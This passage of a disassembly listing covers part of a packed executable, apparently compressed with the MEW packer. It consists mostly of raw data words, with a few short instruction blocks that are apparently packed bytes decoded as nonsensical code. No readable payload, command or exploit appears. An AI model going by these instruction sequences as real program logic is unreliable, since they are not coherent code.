		dd 9F81582Ch, 1D1955F9h, 0DB28D667h, 96572318h,	0A774D49Fh
		dd 85572DD3h, 258038F5h, 0F9EEBE51h, 0EF8977F7h, 25420380h
		dd 333A67D2h, 18F12055h, 0CB8EA569h, 0E8828F6Fh, 0DC33112Bh
		dd 81F77E81h, 75641A45h, 0A8656331h, 0C92DC62Fh, 3495ECE8h
		dd 2844A1D7h, 29AC53E9h, 0A7B16611h, 0C0EAD199h, 9286B689h
		dd 3DF7036Ah, 71330EEh,	52D9791Dh, 6850781Ch, 529F30EEh
		dd 0A6B149C9h, 42717311h, 72E0CF88h, 0D7919F38h, 0B0316182h
		dd 0ED4AEF0Ch, 958A3702h, 3B50A460h, 51F369C5h,	0BEEAABE9h
		dd 5BDE198h, 1CDE467Fh,	6AB2C7DAh, 6D628C95h, 1F32F743h
		dd 0F17A1958h, 29176A7Eh, 0C81AA623h, 1FA7585Dh, 0AAB07D8Dh
		dd 0A2B5B134h, 30CC9FDDh, 4E17E435h, 6E2D4D51h,	46233D41h
		dd 983FEDA7h, 0F6781067h, 0EBA667D5h, 3D145871h, 3ED3B65Fh
		dd 4142AC92h, 5D234073h, 71A5A680h, 0CAF4EC96h,	0BC697234h
		dd 0DB2B1047h, 32975E7Dh, 0A9851CCBh, 3DA3D865h, 0DFF1DBC1h
		dd 95FB91Bh, 0D4889D3Fh, 51EB9122h, 0CB940A13h,	0DD304398h
		dd 109C9643h, 23F9C1A6h, 0C0C9CD43h, 9E907DFh, 0DF79835h
		dd 0F839410Dh, 40DD27FFh, 0EF443AC4h, 0DC15A503h, 0BB0CEC48h
		dd 0DAC78CAh, 0F8FC7F48h, 6E01A1CCh, 6096CA0Bh,	7755809Ah
		dd 7BC308CAh, 0F44E3524h, 0C265F407h, 0DBE723B3h, 0D5ADC10Ah
		dd 64539CB8h, 8D7C84DCh, 21BC26FFh, 917F3969h, 0E20F9785h
		dd 0FF97CAF3h, 57381E28h, 0C2B63030h, 3769B9CEh
		db 0C3h, 0E3h
; ---------------------------------------------------------------------------


loc_4253AE:				; CODE XREF: __u_____:004253F9j
		jmp	far ptr	898Bh:9FB75B9Ch
; ---------------------------------------------------------------------------
		db 0A4h, 9Ch, 64h
		dd 114E3E54h, 978FB09Ah, 9795BA2Eh, 0A3BD2AD0h,	4EBA40D4h
		db 51h,	23h, 29h
; ---------------------------------------------------------------------------


loc_4253CF:				; CODE XREF: __u_____:0042544Bj
		popa
		add	al, 0E4h
		cmp	eax, [edx-5]
		shr	esp, 21h
		sbb	dl, [ecx-64h]
		push	cs
		in	eax, 40h	; Timer	8253-5 (AT: 8254.2).
		dec	ebx
		fidivr	word ptr [edi]
		fimul	word ptr [eax+1CB0CACEh]
		out	3Dh, eax
		aam	52h
		xor	[ecx+3184FA7Ch], edx
		xor	al, 2Dh
		dec	eax
		xor	ebx, eax
		push	esi
		test	al, 2
		jg	short loc_4253AE
		jmp	near ptr 8B84E912h
; ---------------------------------------------------------------------------
		dd 0AE748AEFh, 0F89CF4C7h, 0E23FED78h, 5347133Fh, 0D2126293h
		dd 0B3C55CADh, 0C8A9E2FCh, 0F928561Ch, 0CE43A923h, 55FEF8ABh
		dd 0C2EA0909h, 0C90E188Ch, 0F0FE9BB7h, 8EA77D12h, 0E3E825FFh
		dd 0B4405756h
; ---------------------------------------------------------------------------


loc_425440:				; CODE XREF: MEW:00418C51j
		pop	esp
		mov	al, ds:8B04A6A2h
		add	eax, 9B67B459h
		jecxz	short loc_4253CF
		pop	dx
		and	al, 2Fh
		xor	bl, ch
		xchg	eax, edx
		call	near ptr 1853EF47h
		or	eax, 0C8A997A2h
		shr	dh, cl
; ---------------------------------------------------------------------------
		dd 0C0F9A7DBh, 7F55958Eh, 4DC91102h, 0FF2B443Dh, 0AEDD26Dh
		dd 16FFFF63h, 9FEF42EBh, 0D1D27DD0h, 20393523h,	8E3DAA0Dh
		dd 0A4C4E3A9h, 0D4D3D3A9h, 984CBABBh, 72309C98h, 0F470218Eh
		dd 54826D99h, 0A0835B2Ch, 5983C7B9h, 0CB50E64Dh, 522E13ABh
		dd 49A2FB55h, 0E8EAFAB5h, 6E31BBF2h, 5824FD8Eh,	218298CAh
		dd 997C5134h, 0F1212B5h, 529AA14Eh, 81699550h, 5DD01EA9h
		dd 1F4B3C94h, 506B6862h, 849F8FE5h, 0B3D40555h,	6B787186h
		dd 0E3DFB47h, 51A2A31Fh, 2F62469h, 90FE9A30h, 9FA5F3D7h
		dd 0E053B1D8h, 6EF71C10h, 8893BFE2h, 6969A928h,	1F1B28E9h
		dd 0C6897ABCh, 6AD15E50h, 0CB4F0FCCh, 51CCB9Eh,	818035EBh
		dd 0D044D3D7h, 700C62F5h, 0D7060F91h, 1474140Dh, 7A10D70Bh
		dd 1D73E20Ch, 0E31E6085h, 7FA6330Bh, 5877024Dh,	342C3B1Ah
		dd 53BD1F65h, 3102C09Eh, 4CA05CFCh, 0ED9C871Bh,	1F93480Ah
		dd 8CA515B9h, 224B5EB4h, 74BC5736h, 0D64A3248h,	63C9F56Bh
		dd 0A395379Eh
; ---------------------------------------------------------------------------


loc_42557C:				; CODE XREF: MEW:00418D8Dj
		rol	dword ptr [ecx-551DB11Bh], cl
		stc
		retn	5400h
; ---------------------------------------------------------------------------
		dw 34D4h
		dd 23B9E621h, 0F417D8Dh, 4955B740h, 0D6F2A67Bh,	9CA3A9CAh
		dd 0A61DACE3h, 0A0BBE8CEh, 0F915352Eh, 132F746Dh, 0B2F1E62h
		dd 1EB5D6E0h, 336821E4h, 0D342335Ah, 0CD83F991h, 92DD566h
		dd 0F3241043h, 0B770CB7Eh, 0DC0ABD9Fh, 0A82E255Ah, 1F5E3950h
		dd 54FEB920h, 5F56ED72h, 0C4C886E8h, 0E37AED84h, 0D3556A1Dh
		dd 52E17B63h, 6AE02FB5h, 6DCB7C16h, 0C14D0C5Ah,	76D34C90h
		dd 112B274Ah, 6F9FB5FEh, 2078BFB9h, 0FC891E5Fh,	2CA4923h
		dd 31F020BDh, 0BC402965h, 220CAB42h, 0A3C67BDAh, 7EABA7EEh
		dd 0B486E25Fh, 3239A945h, 42D130F9h, 1BE25270h,	0A4E00D46h
		dd 0F925B4C9h, 0F2087EBBh, 0F4C634F4h, 0C21F77BCh, 0C9E80305h
		dd 0CEA998C2h, 49095A19h, 2115A50Bh, 8FCB6F2Fh,	7BA7F8EAh
		dd 93F64BC7h, 5C1DFA24h, 3622F7C3h, 0A5969B85h,	0EC937BCEh
		dd 9245D5D8h, 892121B3h, 0DD8F13D3h, 0FFB848E1h, 3A079261h
		dd 86BA255Dh, 6B480244h, 1ECAAE9Fh, 9408E287h, 25658726h
		dd 6FB892E1h, 4D596899h, 8E3E93AEh, 125E341Fh, 672107D2h
		dd 73D5F01h, 4D6DF992h,	4CB039C8h, 41E5F25Eh, 0FF31762Fh
		dd 3518CBCAh, 5DD26E69h, 9810D2D0h, 1CC14089h, 0E6E1F0ADh
		dd 8AD1B14Eh, 47A9DD90h, 6ADA3B82h, 0F579DA2Ch,	5E720443h
		dd 0CDC1CEAAh, 57CDFACFh, 88C4F571h, 0C836EFD9h, 88F81EF8h
		dd 3F132C23h, 0BBF42C84h, 66D0A8BEh, 0E8F37B3Ah, 0FFED502h
		dd 0FA6B1BCDh, 0A17803C6h, 596A8A6Dh, 8AB6FAF1h, 0C1B5BF4Eh
		dd 7E81C6B0h, 0A24B42C6h, 9EB6744Ch, 365F45D2h,	1674F4CFh
		dd 4734DB74h, 32E96A17h, 908C7484h, 0EFAB89A8h,	0B45DD9FBh
		dd 0D6257557h, 3B5301FAh, 0C37B3D6Fh, 0E3B7BC61h, 3A06E80Dh
		dd 0B16508B5h, 45F9D0F4h, 50B5D014h, 730968E3h,	30556713h
		dd 0DD06BF4Fh, 5815629h, 7A22C9DAh, 0BE3F26E1h,	0F23E2473h
		dd 619DB6D0h, 9861866h,	5EBB772Bh, 0AB542D77h, 506A3876h
		dd 2EFBE4B8h, 0E9185DD5h, 7B08F932h, 9D7ECC51h,	0DFA41774h
		dd 70C20A3Dh, 1EC7E2Ah,	6ADF3EA8h, 0FB13CD67h, 0B6A3380Eh
		dd 0E86EC8AFh, 0EA76DF35h, 0A4EC8215h, 0B5316B0Ch, 0FF0E6C4Eh
		dd 0F9D09C45h, 180F9908h, 0EB441C37h, 4B0B1E5Ch, 0A71E4D6Fh
		dd 0DCA12B69h, 7B336D36h, 0B7114D99h, 5789FC72h, 4234F78Eh
		dd 438A0CCBh, 0E89D485Dh, 0A7E6E63Ch, 0A5F3E078h, 8AD68F3Ch
		dd 0D194ACFCh, 1C38FCD7h, 0FF7C0D01h, 5B197A2Eh, 0C05CB702h
		dd 0F9234A4Ch, 0E24049A9h, 0E3AA552Ah, 32E81F93h, 0F260DBF8h
		dd 95477737h, 6E55019Ch, 0D07C4B11h, 0F2651BDBh, 0E0B95B7Ch
		dd 0CC33C8CDh, 1CA3C21Bh, 855E3BADh, 0B2C8B2D9h, 37B827CCh
		dd 2EA08CCBh, 1428FBEAh, 434659D2h, 55D1BA2Ch, 8F264D26h
		dd 38708638h, 1C92A3B9h, 0D17FEF1Ch, 0FEB4E805h, 5CEA4A7Bh
		dd 47321E2Fh, 0D0193062h, 4DEE42BBh, 39A38BC9h,	0AAD7FC54h
		dd 0A1D95A0Fh, 6709CACFh, 0A011D2F0h, 65C2431Fh, 0BE6551EDh
		dd 85FA1CEDh, 3F707868h, 44BFB405h, 0B580A15Dh,	0E3E5224Ch
		dd 13FC2080h, 78A02CF6h, 0E2E0412Fh, 5ECCF519h,	8EF880D6h
		dd 8B9E4C07h, 3DD4A3E8h, 7F120FCAh, 61A12FDFh, 2FB67F72h
		dd 639DAE39h, 0E403581Fh, 9B58AA04h, 88337BDFh,	65551920h
		dd 0E67825C7h, 52B0A9AAh, 6F76774Ah, 9A9E02F2h,	0B118C61Ah
		dd 8C0796A9h, 0E96EB00Eh, 56BC4D7Bh, 0C1447C9Ah, 224F32Ch
		dd 7830DD5Fh, 279FE618h, 3CA80723h, 13A4CF1Ah, 3B026344h
		dd 0CBBDAD14h, 0D6405452h, 5326F744h, 0DF37AC0Ah, 36F5493Ah
		dd 3D48F3D9h, 9FD48862h, 9723BE76h, 0F22481E1h,	0F3977F7Eh
		dd 0BA753B64h, 86F02AEFh, 0ABA6BAE5h, 900FE6A7h, 3A13EDFAh
		dd 0AC845AC9h, 0D5642951h, 0F14BDA32h, 0E2543726h, 2823C5D0h
		dd 0CEA0586Ah, 0F312E3E9h, 6A920414h, 6473B22Dh, 0ED3F3DC0h
		dd 3594AC14h, 6B43EECDh, 473B6381h, 73AE45EAh, 0FFA35250h
		dd 0AC111246h, 6DA9D46Fh, 5C5B9378h, 0B0C25F10h, 2E07F9E7h
		dd 7AA7DE54h, 6A1D9C3Eh, 42F51BD0h, 818E92E2h, 0D72E46CEh
		dd 0BE3F2A2h, 4EF9D532h, 0D6EE686Eh, 0FAB2D6CBh, 6103584Ah
		dd 5FA73877h, 0C76CDF23h, 19E55BC0h, 85AED475h,	0C90B4046h
		dd 436DB7Ah, 0CB956777h, 9123E3BFh, 50D9BDCCh, 4EDD2CCBh
		dd 13917101h, 7682C5F5h, 522BA090h, 5CC53179h, 0A1A7CCE4h
		dd 40BF930Ah, 583E5884h, 9947D121h, 0BB8024C3h,	8F2D425Dh
		dd 8F8DAA26h, 17EAA542h, 0BE8A6ADBh, 69D17C86h,	3C7A2E9Ch
		dd 0A8DC2DF7h, 0B7EA05F6h, 3E4858D9h, 6544DFE7h, 0DD3644DEh
		dd 278F33Eh, 0D6A84CE0h, 663F3DCBh, 38B857F3h, 0A322604Eh
		dd 2D0A714Dh, 544AB5B6h, 0E1A0FB4Ch, 2EEEFF0Ah,	9F4287BBh
		dd 0DFC8850Fh, 42850D48h, 980307D1h, 95230CEAh,	667D692Ah
		dd 0F404BAC0h, 0DB4EA19h, 5828FB3Fh, 0CF43503Ah, 0F59A3406h
		dd 6BB69BE2h, 0CD14E2D0h, 7FAF15E7h, 9F5D70CAh,	0D15183A6h
		dd 4C34CE06h, 1D62CB66h, 597C4296h, 1DC74A68h, 29CFF41Eh
		dd 0D0DFE8CAh, 35310DD0h, 0D033D2D6h, 0D3AD11D7h, 0D80AEFE4h
		dd 0D802FADFh, 85983B40h, 8016E192h, 0CEC2A267h, 0B3D51CD5h
		dd 0F97240DBh, 42BF2A8Ah, 0E0A8A79h, 0CD0E3DE1h, 0F0A63062h
		dd 0C0C0B48Bh, 550337B2h, 0E12E7760h, 7B7D7EE1h, 12122435h
		dd 71D3057Ch, 0A6851BC1h, 0A82B9A4Bh, 21FCCD4Eh, 813F5EB3h
		dd 32131643h, 0D5F0296h, 0D64E991Ah, 3E553CEBh,	65D079ECh
		dd 90F8ECA2h, 0CC8DC27Fh, 0F4AD3F44h, 0B430B85Dh, 0A208907Eh
		dd 837610Fh, 5F18A711h,	52FC33B3h, 9D1A154Eh, 0E4698A95h
		dd 85C49725h, 51EE83F7h, 19536E99h, 9481D249h, 0AD8C6CF7h
		dd 0FBB2F1EAh, 54C6AEB5h, 0C857B967h, 97A8709Ch, 0DF9AD26h
		dd 9BA974BEh, 8B98C7ADh, 472ACE6Dh, 0DB2EBB0h, 20DE14CDh
		dd 6E3BB5A2h, 8A32F967h, 3A10245Ch, 0BAE99BDCh,	32373EDh
		dd 0E8B26E3Ah, 3EF6C275h, 4E8B7534h, 0BD7D872Ah, 68AABBA0h
		dd 8DEA663Fh, 0FB3013A3h, 0AAD807D8h, 0D5838CC0h, 580ED5C6h
		dd 3C6480C1h, 10E4C1F5h, 0CC9A71Eh, 6A4A337Ah, 0A13FB7C8h
		dd 40C089F8h, 941FC5Ah,	0CB33098Bh, 0B5F09301h,	4B914142h
		dd 31AE8E1Dh, 0DEF3D845h, 5833C6EAh, 6575A8ABh,	7982B315h
		dd 4D4A0504h, 5499A52Fh, 6176A13h, 0FB6695B0h, 38490042h
		dd 5C760975h, 0FEC5A139h, 51C2F647h, 6AAF16C8h,	0CFE9F79Fh
		dd 7A2FA11Dh, 0EA75D5DCh, 42B62FA8h, 0AEF2788Dh, 5C9607DDh
		dd 7D4B6BD9h, 0D7F6D6CCh, 0ABCC7629h, 5A2A2495h, 93759209h
		dd 40472A71h, 0E6C0F7DCh, 874933C4h, 5C603017h,	840DCA01h
		dd 0DE1A26F3h, 0A1232D55h, 69EC2A0Eh, 0CD61CF16h, 19B75532h
		dd 0B6054940h, 0A3E30184h, 967D03A2h, 2CE4ADC0h, 9A4730EAh
		dd 0F704794Dh, 39B8310Fh, 7948E009h, 0A02EAA85h, 775F16CEh
		dd 2B9D73F0h, 58254CD0h, 0B86E1DFFh, 9530C2EDh,	41C402EFh
		dd 7417147Bh, 44678E96h, 25B33F8Ah, 24EB2489h, 0D4DFF4B0h
		dd 34E8DCB9h, 0DB73564Bh, 2F2D5952h, 5F29D6F6h,	675D5FE7h
		dd 5AB5A211h, 21CA4150h, 63BF899Ch, 8D9A59EBh, 210396A3h
		dd 10B53D33h, 3C5EEDCAh, 3D256E32h, 76F0A1Bh, 4A2174DEh
		dd 1DDD2AC1h, 7CE451FCh, 19B8EDE6h, 687F9917h, 0EA63E96h
		dd 0D6BFB650h, 3767014Dh, 8210C29Dh, 3A4A33BCh,	0FF8B44E2h
		dd 7B4F3C1Bh, 0A13B0779h, 723B7E22h, 0D167594Bh, 40913260h
		dd 0C47EBCF3h, 0B641B249h
		dd 7D702952h, 0A953C5CDh, 0B6ED8D6Bh, 0E727E8CDh, 0DD4F92h
		dd 0CE3967D1h, 841F458Ch, 0C485936Eh, 0FA69EA2Eh, 4C516EDh
		dd 372935FDh, 4C407C6Dh, 0ABA5076Fh, 0AB223948h, 92CB04A8h
		dd 0DC77D33Bh, 7A357F9h, 923F7F82h, 0D78A704Bh,	0CFD12B6Eh
		dd 848753C3h, 0C337766Eh, 94BA328Ch, 9FF8C7FAh,	0C1CBD64Fh
		dd 71A321DEh, 0B0F1DC2h, 673CC626h, 6061B4DBh, 0C820406h
		dd 0E72524F9h, 5448D823h, 0B729A467h, 0A9EBDC2Fh, 2C5B5B51h
		dd 9064938Dh, 91008DEBh, 0AA1DACD4h, 0F1CA410h,	24D11A53h
		dd 3F4B2177h, 0B7F7ACDFh, 79C62488h, 0E2C8AFD8h, 0A76D8C73h
		dd 0AF8177Bh, 5DD63029h, 158F6473h, 0FC5B9AD2h,	0ED7FB59Eh
		dd 6573BE47h, 0BC9717A9h, 4F42583Dh, 0DC7C1A33h, 0BCFDB82h
		dd 0B1C49F43h, 0A011BFAAh, 0E0AB3EAEh, 2CE3A792h, 0E05E4DBCh
		dd 0ACBEB206h, 0E489A86Fh, 5330F54Ah, 0A9682644h, 0C2EE0FA1h
		dd 932C968Ah, 2990AF8Eh, 86D870E5h, 1A51291Dh, 27DCA388h
		dd 5BE4115Eh, 0A2F3695Bh, 0B82B42E4h, 6AF4D8B6h, 2F20BB64h
		dd 24C1EC99h, 2A97D569h, 0C0E30348h, 0EE8219D9h, 6FB4EAA4h
		dd 4CBC050Fh, 0C57D5F76h, 4829E74Ah, 0D449D3E2h, 787CB01Ch
		dd 33DE866Ch, 845748D9h, 35C11397h, 0AF16B32Bh,	8799E62Eh
		dd 3DB7054Eh, 25A7B042h, 1253C831h, 6C2F42DBh, 0E369939Eh
		dd 0E9AE2FA7h, 95F1E0E4h, 0F18D12D2h, 65959BDFh, 0C4DD9CA9h
		dd 0D2FCB8F9h, 0B2B388CBh, 5D90A9CCh, 76DD41A7h, 0E2E5D4A0h
		dd 7F64D13Ah, 0EB6D5E64h, 99816B43h, 0A8D631AEh, 0D39D384h
		dd 0BEED1DE5h, 0E56C7BD7h, 87F0352Eh, 0D2BDB646h, 0E83FFC1Fh
		dd 772E78ACh, 0FD505E65h, 93B5506Ch, 258E9D88h,	0DCC64F1Ch
		dd 0ACA415A8h, 8C94C6A1h, 6FD228D0h, 0E7356C50h, 9641A721h
		dd 11756DE2h, 0EEF43BE8h, 0BEF56B67h, 0B94E1E4Fh, 8FC3F6A0h
		dd 0D627C5E7h, 58E7A873h, 3B0879D4h, 7C5037EFh,	5B3C81ECh
		dd 9559E8DCh, 0CA878170h, 0E841BA7Dh, 36FA192Bh, 6A0D0779h
		dd 58BD5E67h, 79210125h, 73DCB68Ch, 4E94B78Ch, 0A9A881DBh
		dd 1A83FCC8h, 8CF57D01h, 0E34BC8A2h, 0D17D8DDEh, 0D4A9C0EFh
		dd 71150696h, 398B5B1Bh, 4EC1C351h, 0B2F577FDh,	6DE8F527h
		dd 9D53D92Eh, 0E7A544E2h, 89F365ACh, 67C294FCh,	0C745B9E8h
		dd 518E9CE7h, 682E8481h, 58B18F7Dh, 0F7816779h,	590201B1h
		dd 5218FBD9h, 0F1AA48D7h, 5BD4D29Ah, 4F46B57Ah,	79AFB8F0h
		dd 1B81BD1Eh, 0B81FB0EFh, 2A2985E9h, 0EEFAFAADh, 0E1A2E11Eh
		dd 0B8FD1316h, 193FC91h, 48C17F7Fh, 88D786F4h, 8D3FB2FFh
		dd 3F5F61ABh, 0C8F590D3h, 547A0DAh, 593CD0Bh, 8258648Ch
		dd 7854F5A5h, 82E0B43Ah, 0DA899D09h, 0C73B0211h, 989A3C49h
		dd 78E8E153h, 921BE14Dh, 0DA2DC26Bh, 0EBEC5E34h, 0F204A4E9h
		dd 6440C13Ah, 0BC2673CBh, 0CB29E3A8h, 900687E4h, 28340835h
		dd 74BDA6AAh, 0B4CF661h, 4571F38Eh, 0A05EF1D2h,	0C9B0CDB5h
		dd 0CB11F1EEh, 5EA1D77Eh, 0F7D23F29h, 58C5F2FFh, 1ECDC530h
		dd 0B6B9DD50h, 2A999E5Bh, 0E22EC3F1h, 38207B70h, 0E40908B2h
		dd 7E551034h, 0D3629DD8h, 25BBF3C7h, 0B2D5E143h, 0AC282E1Ah
		dd 844F5693h, 9C5730F6h, 71139212h, 0CFD3D35Ch,	0DD27F8Eh
		dd 0BBC07A1Dh, 9913BFC0h, 15EDB5FDh, 53CA0058h,	0BA1B1A22h
		dd 8E3CF3E6h, 950698E6h, 0F76599E2h, 853CC253h,	0EFE72518h
		dd 0A6EE309Eh, 0A855D57Ah, 3E15F1B6h, 4DD215F9h, 0C08BFB8Fh
		dd 8B6D595Dh, 0A9682FBh, 0A14F2D5Bh, 6E480E29h,	9E07A8E1h
		dd 75D5FD29h, 4D30DDABh, 923460FAh, 5420389Ch, 0B490A3EEh
		dd 0DC431EAFh, 5C9E61A4h, 285F582Fh, 93C78ED3h,	36805D7Dh
		dd 0F5E6E7ACh, 870EDE47h, 0AC43C217h, 985A8EC6h, 195FA6B5h
		dd 62FA61A1h, 8D16E0E8h, 0D9F00F8Ah, 56DCC7A8h,	833A1A04h
		dd 0C4A674F4h, 9B49B375h, 0F6E3272Fh, 0E415652Ch, 72CFB04Eh
		dd 0E56685A3h, 7CD77AEBh, 0E9C6EA2Dh, 0CC7D2EA5h, 29026FBEh
		dd 2D91696Dh, 0C55B2401h, 63537E75h, 7FB26FF3h,	63A7459Ch
		dd 2C27B9DFh, 96928EEEh, 6652BFA5h, 477BE7E0h, 0E8F8A715h
		dd 410C202h, 0DCA308C4h, 717313E5h, 2E81331Eh, 0E4885B7Ah
		dd 925560F7h, 1894553Eh, 9CC2E801h, 0CE905C7Dh,	268731CCh
		dd 0B93A431Ah, 0C6333165h, 0BDB6025Fh, 0B75BB042h, 0D613F9CEh
		dd 8DD43FF4h, 0DEE17C3Bh, 0D1FE5D52h, 95CD8F14h, 7F3AB1CEh
		dd 8C122DADh, 3464EFFDh, 7CED3946h, 0B2229C48h,	674529E4h
		dd 27E1BC97h, 0EBC2D7F6h, 0E885D4B9h, 5971B266h, 6FA8881h
		dd 0DBEFD5B8h, 42C20180h, 0B88DBF7Dh, 69C5459Eh, 0BAC3496h
		dd 0BD8290Fh, 9D90481h,	5AB8CC9Ch, 0B3301E9Bh, 60AA00F9h
		dd 8DAAE7C1h, 0A6916995h, 0CB1DD71Fh, 2A1F440Eh, 9A472377h
		dd 911F30DAh, 96C00D70h, 79F3E5E4h, 0C5C61761h,	0E2BEDA5Ah
		dd 1816B881h, 0D161DC05h, 0C4876ACh, 6562B67Bh,	26FFDC20h
		dd 0BF01A7A7h, 6382C26Eh, 0EC6B45E9h, 1899F9CEh, 0C8B8F4CDh
		dd 0FC7DC98Fh, 410600B8h, 0C042954Ch, 0A458D807h, 5F5165B6h
		dd 64CD9245h, 0C1C723BBh, 0B5164B3h, 9AA12291h,	5541B356h
		dd 8ADDA60Ah, 0A42C6347h, 0ACD3CC64h, 0B37B211Ah, 3EBC1A55h
		dd 55C8C2E9h, 5EA7681Ah, 6F6C5AC3h, 0C198152Dh,	67432005h
		dd 0E636EBD4h, 0D16E5CDFh, 0B3971C81h, 0A1039E26h, 0E4948348h
		dd 0B01FC37Bh, 2C3FD4B7h, 14A06002h, 64A551A2h,	144E1F82h
		dd 0FDED03B2h, 0CFB47A82h, 480888F1h, 29C1C923h, 0A40D86Ah
		dd 97139FB6h, 0FFF411D0h, 0E2735C39h, 8355BFBBh, 0DCD9936Bh
		dd 190F6171h, 5C3F00CCh, 64C26EAFh, 7639FC12h, 0DBD16766h
		dd 0C0B061D6h, 0DD94524Fh, 60CE83F9h, 34B3F0B1h, 32C2929Ch
		dd 100E38A9h, 5C9FB0A0h, 53ADD64Fh, 8F047C9Eh, 73ABD1F4h
		dd 0B381AC8Eh, 54599EBAh, 0C0E3AC5Ch, 8CDE0CE5h, 0FDCE38BAh
		dd 3D13387Ah, 61034801h, 3FDED0CCh, 3D4A97E4h, 7E64FE29h
		dd 0AF3A257Ch, 745F8B93h, 0EAD14626h, 0E4A57D39h, 19C15373h
		dd 0E2659EDDh, 1CDB160Eh, 61FCCD65h, 0C22ABDB7h, 9C85AB5Fh
		dd 53C63F3Fh, 73204268h, 0A507FA0Ah, 7E74D7Dh, 0BA62ED37h
		dd 0BCA955F0h, 0A413FF86h, 0E6252C41h, 2BC10EE3h, 85EEA2F9h
		dd 0D17EE392h, 0A475435Ch, 8EE5143Dh, 0FE0A218Fh, 0F575F02Eh
		dd 3567F296h, 0F5F9C909h, 9F039E5Fh, 0C68C0313h, 63E69ABDh
		dd 54DF47F0h, 10603AF9h, 0B0E7A08Ah, 80657F4Bh,	87620D20h
		dd 7E47B1A8h, 22DAAEA7h, 0AD2D27DDh, 2E5140D3h,	0E18DA40Ch
		dd 0BC6AA994h, 0D91CB516h, 3D842E56h, 0C9A8F110h, 857FFF7Eh
		dd 65AD9E23h, 0BECFE67Ah, 36E18CEFh, 578A4841h,	1023B687h
		dd 26B40D44h, 835A81BFh, 65E2A44Ch, 0F8958CD0h,	23BB659h
		dd 0B125F8C0h, 0BA1855CFh, 0BF419E9Eh, 2CBC0002h, 0E0ED3613h
		dd 8762EC0Eh, 9FC6F980h, 0C60F1E3Dh, 581BC8FFh,	0C460F5E4h
		dd 0E4C3AF80h, 8CFAA127h, 83974489h, 0F2A40E5Bh, 0CD7DD0FEh
		dd 0F428CAFAh, 180074CEh, 0B951EA0Dh, 3D1F4477h, 0A1B3EAC6h
		dd 93870184h, 0CF2B0C1h, 0C7D52EE8h, 0F2A96F12h, 59BC1CECh
		dd 378FCCF6h, 0BC6D7CD4h, 20FFE58Eh, 0FC667FC3h, 0BCA97F0Dh
		dd 0C8078FBDh, 17FF8C9Eh, 0A72EDA04h, 0D30D26EBh, 395EE234h
		dd 0F2B6954Bh, 84125310h, 0E086A545h, 66265847h, 4A69FF7Ch
		dd 0AE398E93h, 0C247BED7h, 0FF451B5Bh, 76370388h, 9056467Eh
		dd 0E1C59C16h, 51B80768h
		dd 6E2819D8h, 6A345901h, 0FF684D6Bh, 0D35051C1h, 0E671B321h
		dd 3EEEDB11h, 53947F05h, 0CB097CFAh, 93DF8008h,	7E20C6E5h
		dd 0EEE8520h, 0A3954432h, 76EC79F5h, 4505FF62h,	303BD4D7h
		dd 50E51C07h, 11F2735h,	0D7DFDB6h, 1960AC37h, 0BDBC07C2h
		dd 0F36CBEE4h, 71FADE5Dh, 551CC5FFh, 0E416F918h, 0B3419A84h
		dd 0BCA26B0Fh, 678A152Fh, 0AC1AE9E6h, 25B9915Ch, 72AE504Fh
		dd 31371F23h, 9B518C57h, 0BF2DFE4Fh, 0EF2B38C6h, 0D269DC5Eh
		dd 231461BEh, 5E227A7h,	7E4F455Bh, 0FAD716A1h, 0B77DB3D4h
		dd 59381CB3h, 0E5257120h, 0D5C717D3h, 78610694h, 8292DAF9h
		dd 5BDF44DAh, 0BA80E587h, 0F0E95C68h, 5DDA1147h, 95A56096h
		dd 9E178367h, 20923014h, 0AF1FBB41h, 399B42BBh,	0B87F023Eh
		dd 3F8C2A33h, 40CE2ACh,	5C88A1F7h, 0E34AA837h, 2447A48Eh
		dd 0A75ADF77h, 71C4877h, 0D5CA7A38h, 48159EBDh,	70FB5F3h
		dd 0EE3200EAh, 0E60BF7C9h, 2DCCDCBFh, 9D0CD56Ch, 0C56CCC48h
		dd 98D066CCh, 7D5C880Ch, 24D3A70Fh, 0E7CEA4Eh, 0E149DB4Bh
		dd 0F715B6DBh, 3458821Fh, 0D2E918F1h, 945D750Eh, 0C371516Dh
		dd 0CB98AC4Fh, 325A3DC9h, 63231675h, 0D2B106D6h, 0DFBE98CBh
		dd 6C0D8733h, 0F8F83673h, 242828BFh, 5885675Bh,	293C0B7Eh
		dd 0F0DB1A22h, 1E464BA8h, 58966EE5h, 32E83655h,	15B05D32h
		dd 93F838E7h, 229FF3BBh, 2EEFF3BAh, 7681A3BAh, 3BBFEC08h
		dd 323D06FEh, 0F98156AAh, 0D702F1CCh, 483F7436h, 583F9F25h
		dd 84FCF703h, 886DF372h, 0CD6C72E4h, 0BC730824h, 0A7B53816h
		dd 28EF6292h, 0A8C60BACh, 0D96452C1h, 0B094E11Eh, 0CC8300C2h
		dd 67F70492h, 4491B4B8h, 4424856Fh, 740A0421h, 3C53CDE1h
		dd 215D4E0Dh, 16C7BEEDh, 0CB34FCFCh, 60594945h,	16BAB599h
		dd 3749F208h, 782FE468h, 3D9161D8h, 66E60296h, 3AB509DBh
		dd 1851F8A0h, 72BF238Fh, 9328BDECh, 38B917C8h, 53498DEAh
		dd 0B1D3712Ch, 9752EDA7h, 3D191D8Eh, 84533119h,	666B31Bh
		dd 0FEE3BEF1h, 0C7E7E817h, 508DC48Ch, 0F9AAF495h, 0A03DD802h
		dd 0B4044F4Eh, 0BA7D934Bh, 0C7A012D4h, 5AB930BCh, 2D37B916h
		dd 25C54A57h, 1F7147EAh, 73F56014h, 0A381A239h,	8C2175BAh
		dd 0F329B83Ah, 8A018FDBh, 535FE6B8h, 0B8A2D8E5h, 58240F38h
		dd 572A0811h, 0B3D2D2A9h, 0D51C9D8Ah, 0F20B89E0h, 0BF942959h
		dd 0AC0B2A51h, 0C5390FD3h, 0D2402DAFh, 0F93180C5h, 22322931h
		dd 0CF8EDED0h, 5E1560A1h, 9DC0F363h, 0DDFA362Ch, 0BBB917CFh
		dd 0C7221FD5h, 518D8776h, 5D9F68EEh, 0F7504DAAh, 0C197206Ah
		dd 2B368C7Fh, 2F362214h, 73A68FC2h, 9CAC7B1Bh, 8F135E47h
		dd 6E5D7ABFh, 53AAB32Eh, 0A1177D6Eh, 42CAF7A7h,	0B2680467h
		dd 86BD78FBh, 0CCAC69B7h, 9FA51B95h, 0D1975D8Bh, 0FCFBF04Eh
		dd 0E5927EBCh, 8CFB98B1h, 9EA3CAB9h, 0E0362485h, 29C24DA7h
		dd 0F479DA35h, 9716E8CCh, 7D247B17h, 4A783CBh, 7017E21Bh
		dd 84FFE27Ch, 6154E792h, 8B86AF7Dh, 6D992B3Eh, 5F0AA127h
